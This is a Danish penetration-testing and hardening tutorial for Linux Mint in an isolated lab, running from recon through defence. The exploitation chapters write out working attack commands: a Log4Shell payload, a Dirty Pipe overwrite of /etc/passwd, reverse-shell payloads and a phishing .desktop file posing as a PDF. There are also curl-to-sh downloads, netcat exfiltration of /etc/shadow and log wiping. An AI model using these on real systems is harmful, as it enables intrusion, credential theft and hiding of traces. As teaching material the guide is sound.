Teste sikkerhed i Linux Mint – Penetrationstest og hardening

Få en komplet guide til penetrationstest og hærdning af Linux Mint. Lær at identificere og udnytte sårbarheder, CVE'er, og beskytte dit system mod angreb.

Jan Engelbrecht Pedersen underviser i Linux Mint sikkerhed og penetrationstest

Indholdsfortegnelse

1. Introduktion, Jura og Trusselsmodellering
8. Lokal Rettighedseskalering
2. Arkitektur for det Isolerede Testmiljø
9. Post-Exploitation og Persistens
3. AI og LLM som Penetration Testing Copilots
10. Defensiv Log-Analyse og Incident Response
4. Passiv og Aktiv Rekognoscering
11. Hardening og Systemforsvar
5. Automatiseret og Manuel Sårbarhedsanalyse
12. Konklusion, Rapportering og Kontinuerlig Sikkerhed
6. Test af Kendte Sikkerhedshuller (CVE)
13. Appendiks: Social Engineering
7. Ekstern Eksploitering
1

Introduktion, Jura og Trusselsmodellering for Ingeniører

Dette kapitel etablerer det teoretiske, metodiske og juridiske fundament for penetrationstest af et Linux Mint-system. Som tekniker eller ingeniør er det kritisk at forstå, at defensiv sikkerhed ikke kan adskilles fra offensiv indsigt. For at sikre et system mod eksterne trusler må man systematisere og forstå de angrebsflader, som systemets arkitektur eksponerer.

Trusselsmodellering (STRIDE/PASTA)

Trusselsmodellering er en struktureret proces, hvor man identificerer potentielle sikkerhedstrusler og sårbarheder i en systemarkitektur, vurderer risikoen ved disse og implementerer målrettede modforholdsregler. I ingeniørmæssig sammenhæng anvendes primært to komplementære rammeværk: STRIDE (udviklet af Microsoft) og PASTA (Process for Attack Simulation and Threat Analysis).

✅ STRIDE

STRIDE står for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service og Elevation of Privilege – en model der kategoriserer trusler ud fra de sikkerhedsegenskaber, de overtræder.

💡 STRIDE i praksis

Eksempel: En åben SSH-port (port 22) kan udsættes for Spoofing (MITM), Information Disclosure (svage ciphers) og Elevation of Privilege (regreSSHion).

Juridiske rammer og compliance

En teknisk dygtig penetrationstest er værdiløs, hvis den overtræder gældende lovgivning. At hacke et it-system udefra uden eksplicit, dokumenteret tilladelse er en overtrædelse af straffeloven, uanset om hensigten er godartet eller defensiv.

⚠️ Vigtigt

En penetrationstester skal altid besidde en gyldig, skriftlig tilladelse – en såkaldt Get Out of Jail Free Card – underskrevet af systemets legitime dataansvarlige ejer.

Scope og ROE: Definer præcist hvilke IP-adresser, netværkssegmenter og systemer der må angribes. Specificér tilladte testmetoder, tidsrum og restriktioner (f.eks. forbud mod destruktive DoS-angreb).

Linux Mint som specifikt mål

Linux Mint bygger på Ubuntu (som igen er baseret på Debian), men Mint introducerer specifikke arkitektoniske ændringer, skræddersyede værktøjer og en unik opdateringsfilosofi. Disse særpræg ændrer angrebsfladen sammenlignet med en standard Ubuntu Server eller Debian-installation.

mintsystem – en proprietær samling af konfigurationsfiler og scripts. mintupdate – historisk set har Mint prioriteret systemstabilitet over øjeblikkelige sikkerhedspatches, hvilket kan føre til forældede pakker. Polkit – bruges i udstrakt grad til GUI-administration og kan udgøre en vektor for lokal rettighedseskalering.

💡 Kortlægning

cat /etc/os-release – find Mint-version og underliggende Ubuntu-kodenavn.
dpkg -l | grep -E "mintsystem|mintupdate" – identificer installerede Mint-pakker.

2

Arkitektur for det Isolerede Testmiljø (Cyber Range)

Dette kapitel beskriver, hvordan du etablerer et isoleret, kontrolleret og sikkert laboratoriemiljø – en såkaldt Cyber Range. Ved penetrationstest af it-systemer er det afgørende, at testsituationen isoleres hermetisk fra produktionsnetværk og internettet.

Netværksisolering i VirtualBox

1

Opret host-only netværk

VirtualBox → File → Host Network Manager → Opret vboxnet0 med IP 192.168.56.1/24 og DHCP-server.

2

Konfigurer VM'erne

Sæt netværkskortet for Kali Linux og Linux Mint til "Host-only Adapter" og vælg vboxnet0.

Netværksisolering i KVM/QEMU

1

Opret isoleret netværk

virt-manager → Details → Virtual Networks → Add Network, navngiv cyber_range med subnet 192.168.100.0/24 og vælg "Isolated".

2

Knyt VM'erne til netværket

Skift netværkskilde til 'cyber_range'.

Provisionering af Kali Linux

💡 Opdateringer

sudo apt update && sudo apt full-upgrade -y
cd /usr/share/wordlists/ && sudo gunzip rockyou.txt.gz

Baseline Linux Mint uden defensive agenter

Installér Linux Mint fra ISO med standardindstillinger. Opret brugeren turing med adgangskode password123 (bevidst svag til test).

CLI-værktøjer til netværksidentifikation

💡 Kommandoer

ip -br a – viser interfaces og IP-adresser.
nmcli device show – detaljerede netværksoplysninger.
ip route show – routingtabel (må kun vise lokalt subnet).

Snapshot-styring og integritetskontrol

💡 Integritet

sha256sum linux-mint-21.iso – verificer ISO-hash mod officiel værdi.

Tag et snapshot i VirtualBox eller KVM kaldet Clean_Baseline, så du kan rulle tilbage efter hver test.

3

AI og Large Language Models (LLM) som Penetration Testing Copilots

Dette kapitel beskriver integrationen af kunstig intelligens og Large Language Models (LLM'er) som et supplement til testprocessen. AI kan accelerere scriptgenerering, automatisere sårbarheds-mapping og analysere logdata.

Prompt Engineering til Offensiv Sikkerhed

Formulér prompter, der rammesætter opgaven defensivt, f.eks.: "Du agerer som senior it-sikkerhedsarkitekt. Analyser denne SSH-konfiguration for svage ciphers og giv en tabel med anbefalinger."

💡 Eksempel

Prompt: "Analyser filen for forældede krypto-algoritmer, fejlkonfigurerede adgangsrettigheder eller parametre, der afviger fra CIS Benchmarks."

Automatiserede AI-agenter – lokal installation

1

Installer Ollama

curl -fsSL https://ollama.com | sh

2

Hent Llama-3

ollama pull llama3

Generering af Python-fuzzere via CLI

💡 Kommando

ollama run llama3 "Skriv et råt Python 3 script uden forklaring. Scriptet skal scanne port 22 og 80 på 192.168.56.101" > ai_scanner.py

AI til log- og dataanalyse

💡 Parsing

cat raw_nmap.txt | ollama run llama3 "Filtrér dette nmap-output. Oplist kun linjer med VULNERABLE eller CVE-numre."

AI som defensiv makker – generering af Ansible playbooks

💡 Hardening-playbook

ollama run llama3 "Generer en Ansible Playbook, der deaktiverer root-login via SSH og aktiverer UFW." > hardening_playbook.yml

4

Fase 1: Passiv og Aktiv Rekognoscering (Information Gathering)

Rekognoscering kortlægger netværksmiljøet og identificerer aktive værter, åbne porte og tjenesteversioner.

Netværksopdagelse

💡 ARP-scan

arp-scan --interface=eth0 --localnet – finder alle aktive enheder på lokalnettet (Lag 2).

💡 ICMP-sweep med fping

fping -a -g 192.168.1.0/24 2>/dev/null – hurtig ping-scanning af hele subnet.

Avanceret portscanning med Nmap

💡 TCP SYN-scan (stealth)

nmap -sS -sV -O -p- -T4 -oA mint_syn_scan 192.168.1.50

💡 UDP-scan (top 100 porte)

nmap -sU -sV --top-ports 100 -T3 192.168.1.50

💡 Sårbarhedsscan med NSE

nmap -sV --script vuln 192.168.1.50

Enumeration af netværksprotokoller

5

Fase 2: Automatiseret og Manuel Sårbarhedsanalyse

Her transformeres de indsamlede data til konkrete, verificerbare sårbarheder ved hjælp af både automatiserede scannere og manuel verifikation.

Infrastruktur-scanning med OpenVAS/GVM

💡 Opsætning

sudo apt install gvm -y
sudo gvm-setup (noter administrator-password)
sudo gvm-start → https://127.0.0.1:9392

Opret target med IP'en, kør en "Full and fast"-scanning og analysér resultater med CVSS-scoring.

Web- og applikationsscanning

💡 Nikto

nikto -h http://192.168.1.50

💡 Gobuster (fuzzing)

gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt -t 50

Offline sårbarheds-mapping med Searchsploit

💡 Søgning

searchsploit OpenSSH 8.9p1
searchsploit -m 50123.py (kopier exploit til arbejdsmappe)

6

Test af Kendte Sikkerhedshuller (CVE-Baserede Angreb)

Oversigt over testede CVE'er

CVESårbarhedBerørte versionerAngrebsvektor
CVE-2021-44228Log4ShellApache Log4j 2.x < 2.15.0JNDI Injection (RCE)
CVE-2022-0847Dirty PipeLinux 5.8 – 5.16.11Lokal rettighedseskalering
CVE-2021-4034PwnKitPolkit (alle versioner før 0.120)Lokal root via pkexec
CVE-2021-3156Baron Sameditsudo 1.8.2 – 1.8.31p2Heap buffer overflow (root)
CVE-2024-6387RegreSSHionOpenSSH 8.5p1 – 9.8p1Race condition (RCE)

Log4Shell-test

1

Lytter på angrebsmaskinen

nc -lvnp 1389

2

Send payload via curl

curl -H 'User-Agent: ${jndi:ldap://192.168.1.10:1389/a}' http://192.168.1.50

Dirty Pipe (CVE-2022-0847)

💡 Kommando

uname -r – tjek kernel-version (5.8-5.16.11).
gcc dirtypipe.c -o dirtypipe && ./dirtypipe /etc/passwd 0 "root::0:0:root:/root:/bin/bash"

PwnKit (CVE-2021-4034)

💡 Kommando

python3 cve-2021-4034.py – giver root-shell, hvis sårbar.

Baron Samedit (CVE-2021-3156) – ikke-destruktiv test

💡 Kommando

sudoedit -s '\' $(python3 -c 'print("A"*65536)') – hvis systemet crasher med "Segmentation fault", er det sårbart.

7

Fase 3: Ekstern Eksploitering (Exploitation udefra)

Her forsøger vi aktivt at trænge ind i systemet udefra ved at udnytte de fundne svagheder.

Brute-force med Hydra

💡 SSH-angreb

hydra -l turing -P /usr/share/wordlists/rockyou.txt -t 4 -V -o ssh_success.txt 192.168.1.50 ssh

💡 VNC brute-force

hydra -P passwords.txt -s 5901 192.168.1.50 vnc

Metasploit – Reverse shell

1

Generer payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf

2

Start lytter i msfconsole

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit

Man-in-the-Middle (MitM) med Bettercap

💡 ARP Spoofing

bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"

Udnyttelse af netværksdelinger

8

Fase 4: Lokal Rettighedseskalering (Privilege Escalation)

Efter at have opnået en initial adgang, forsøger vi at eskalere til root.

Automatiseret enumeration med LinPEAS

💡 Kommando

curl -s http://192.168.1.10/linpeas.sh | sh (hentes fra angrebsmaskine via Python HTTP-server)

Manuel SUID- og sudo-enumeration

💡 SUID-filer

find / -perm -4000 -type f 2>/dev/null – krydstjek med GTFOBins.

💡 Sudo-rettigheder

sudo -l – hvis der er NOPASSWD på f.eks. less, kan du bryde ud: sudo less /etc/profile!/bin/bash

Capabilities og Cronjobs

💡 Capabilities

getcap -r / 2>/dev/null – hvis f.eks. python3 har cap_setuid+ep, kan du køre python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

💡 Cronjobs

cat /etc/crontab – hvis et script kører som root og er skrivbart, kan du injicere en reverse shell.

Lokal adgangskode-høstning

💡 /etc/shadow

cat /etc/shadow – udtræk hashes til offline-cracking.

9

Fase 5: Post-Exploitation og Persistens

Efter at have opnået root, sikrer vi adgangen og rydder spor.

Opgrader til interaktiv TTY

💡 Kommando

python3 -c 'import pty; pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg → Enter

Installér persistent SSH-nøgle

1

Opret mappe og sæt rettigheder

mkdir -p ~/.ssh && chmod 700 ~/.ssh

2

Indsæt offentlig nøgle

echo "ssh-ed25519 AAA..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Ryd spor i logs

💡 Kommandoer

history -c && history -w
sed -i '/192.168.1.10/d' /var/log/auth.log

Data Exfiltration via Netcat

💡 Eksfiltrering

På angrebsmaskine: nc -l -p 9001 > exfiltrated_shadow.txt
På mål: nc -w 3 192.168.1.10 9001 < /etc/shadow

10

Fase 6: Defensiv Log-Analyse og Hændelseshåndtering (Incident Response)

Nu skifter vi perspektiv til det defensive – hvordan opdager vi et angreb?

Audit af systemlogger med journalctl

💡 Kommandoer

journalctl -u ssh --since "1 hour ago" | grep "Failed password"
journalctl -k -p err..alert

Netværks- og procesovervågning

💡 Kommandoer

ss -tulpn – viser aktive netværkssockets
lsof -i -P -n – viser åbne netværksfiler
strace -p <PID> -e trace=openat,connect,write – spor en mistænkelig proces

Pakkeanalyse med tcpdump

💡 Kommando

sudo tcpdump -i eth0 'tcp port 22' -w ssh_attack.pcap -c 1000

11

Fase 7: Hardening og Systemforsvar (Mitigation)

Her lukker vi hullerne permanent.

Automatiseret audit med Lynis

💡 Kommando

sudo apt install lynis -y
sudo lynis audit system – giver en hardeningscore og konkrete forslag.

Firewall-konfiguration med UFW

1

Sæt standardpolitik

sudo ufw default deny incoming
sudo ufw default allow outgoing

2

Tillad SSH fra specifikt subnet

sudo ufw allow from 192.168.1.0/24 to any port 22 proto tcp

3

Aktivér firewall

sudo ufw enable

SSH-hardening

💡 /etc/ssh/sshd_config

PermitRootLogin no
PasswordAuthentication no
X11Forwarding no
Derefter sudo sshd -t og sudo systemctl restart ssh.

Fail2ban til IP-banning

💡 Kommandoer

sudo apt install fail2ban -y
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local (sæt enabled=true, maxretry=5, bantime=1h)
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd

Kernel-hardening med sysctl

💡 /etc/sysctl.d/99-security.conf

net.ipv4.ip_forward = 0
net.ipv4.icmp_echo_ignore_all = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
Indlæs med sudo sysctl -p /etc/sysctl.d/99-security.conf.

Integritetskontrol med AIDE

💡 Opsætning

sudo apt install aide -y
sudo aideinit
sudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
sudo aide --check – manuel verifikation.

12

Konklusion, Rapportering og Kontinuerlig Sikkerhed

Denne guide har givet dig en komplet metodisk tilgang til penetrationstest af Linux Mint. Vi har gennemgået alle faser fra rekognoscering til hardening.

✅ Opsamling

Ved at tænke som en angriber og derefter implementere forsvar, opnår du en proaktiv sikkerhedstilstand. Husk at:

  • Altid have skriftlig tilladelse til test.
  • Dokumenter alle fund med CVSS-scoring.
  • Implementer automatiserede hardening-scripts (f.eks. Ansible).
  • Følg NIST SP 800-115, CIS Benchmarks og MITRE ATT&CK.

Metrikker og CVSS

Eksempel: Ubeskyttet Samba-share med skriveadgang uden password giver vektoren CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H – score 9.8 (CRITICAL).

Infrastructure as Code (IaC) med Ansible

💡 Playbook-eksempel

Se den AI-genererede playbook fra kapitel 3. Kør med ansible-playbook -i hosts deploy_hardening.yml --check (dry-run) og derefter uden --check.

Afsluttende ressourcer

13

Appendiks: Social Engineering og Menneskelige Sårbarheder

Selv med tekniske foranstaltninger er mennesker den svageste led. Dette appendiks beskriver, hvordan man manipulerer medarbejdere til at kompromittere systemet.

Phishing med falske .desktop-filer

⚠️ Demonstration

En .desktop-fil kan have et harmløst ikon, men i virkeligheden eksekvere en reverse shell. Eksempel:

[Desktop Entry]
Type=Application
Terminal=false
Icon=document-open-recent
Name=Projekt_Specifikation.pdf
Exec=bash -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

Psykologiske teknikker: Pretexting, Baiting, Autoritet

Angribere udnytter tillid, hastværk og hjælpsomhed. En tekniker kan presses til at deaktivere firewallen med sudo ufw disable under falske påskud.

💡 Defensive tiltag
  • Awareness-træning: Lær medarbejdere at verificere afsendere og anmodninger.
  • Out-of-Band verifikation: Ring altid tilbage på et kendt nummer.
  • MFA med TOTP: Implementér Google Authenticator til sudo.
  • Signaturscanning: Brug ClamAV og YARA-regler til at detektere phishing-filer.

Opsætning af MFA til sudo

💡 Konfiguration

sudo apt install libpam-google-authenticator -y
google-authenticator (følg guiden)
Tilføj auth required pam_google_authenticator.so til /etc/pam.d/sudo.

Detektion med ClamAV og YARA

💡 ClamAV

sudo apt install clamav clamav-freshclam -y
sudo freshclam
clamscan -r --infected /home/turing/Downloads/

💡 YARA-regel

Opret detect_phishing.yar med regel, der matcher /dev/tcp/ og bash -c i .desktop-filer. Kør yara detect_phishing.yar -r /home/turing/Desktop/.

Sikkerhed er en rejse, ikke en destination

Med denne guide har du fået et komplet overblik over, hvordan du tester og hærder dit Linux Mint-system. Glem ikke at gentage processen regelmæssigt og holde dig opdateret med nye CVE'er og hardeningsmetoder.

Start forfra med guiden CIS Benchmark for Linux Mint